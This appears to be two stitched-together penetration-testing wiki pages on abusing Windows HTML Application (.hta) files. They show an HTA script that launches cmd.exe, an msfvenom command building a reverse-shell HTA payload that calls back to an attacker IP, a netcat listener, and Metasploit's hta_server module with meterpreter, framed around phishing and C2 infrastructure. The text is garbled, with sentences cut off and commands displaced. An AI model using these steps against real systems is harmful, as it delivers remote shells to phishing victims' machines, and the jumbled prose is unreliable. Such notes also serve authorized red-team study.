permalink: spells/html-applications
tags:
- FileFormat/HTML
- FileFormat/HTA
- OS/WindowsWindows "HTML Applications" are just HTML files (with the .hta extension) containing JavaScript of VBScript. These are interpreted using the mshta.exe binary; IE and Edge will both helpfully offer to run these files after they're downloaded.
A simple example that pops a command prompt:
<html>
<body>
<script>
var command = 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(command);
</script>
</body>
</html>
msfvenom can be used to generate HTA refer shells. Catch with the standard Metasploit can do all of this automatically for us via In quick-and-dirty cases LHOST and SRVHOST will be the same, though in more sophisticated operations (i.e., if you're separating phishing and C2 IPs) they will be different. The payload variable is particularly useful, as you can use something like Note that you may have to hit "Return" once the file is served to get back to the Metasploit prompt.permalink: spells/exploit-windows-html-applications-with-msfvenom
tags:
- FileFormat/HTA
- FileFormat/HTML
- Application/Metasploit/msfvenom
- AttackCycle/Exploitation
- HowTo
- Application/netcat
- Application/MetasploitExploit Windows HTML applications with msfvenom
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT \
-f hta-psh -o ${NAME}.hta
nc -lvp $ATTACKER_PORT netcat command.exploit/windows/misc/hta_server. Critical variables to set:
LHOST - the host IP address to connect back toLPORT - the port to connect back toSRVHOST - the host IP address to serve the malicious file onpayload - the Metasploit payload to usewindows/meterpreter/reverse_tcp and get a meterpreter shell, rather than just a plain reverse shell!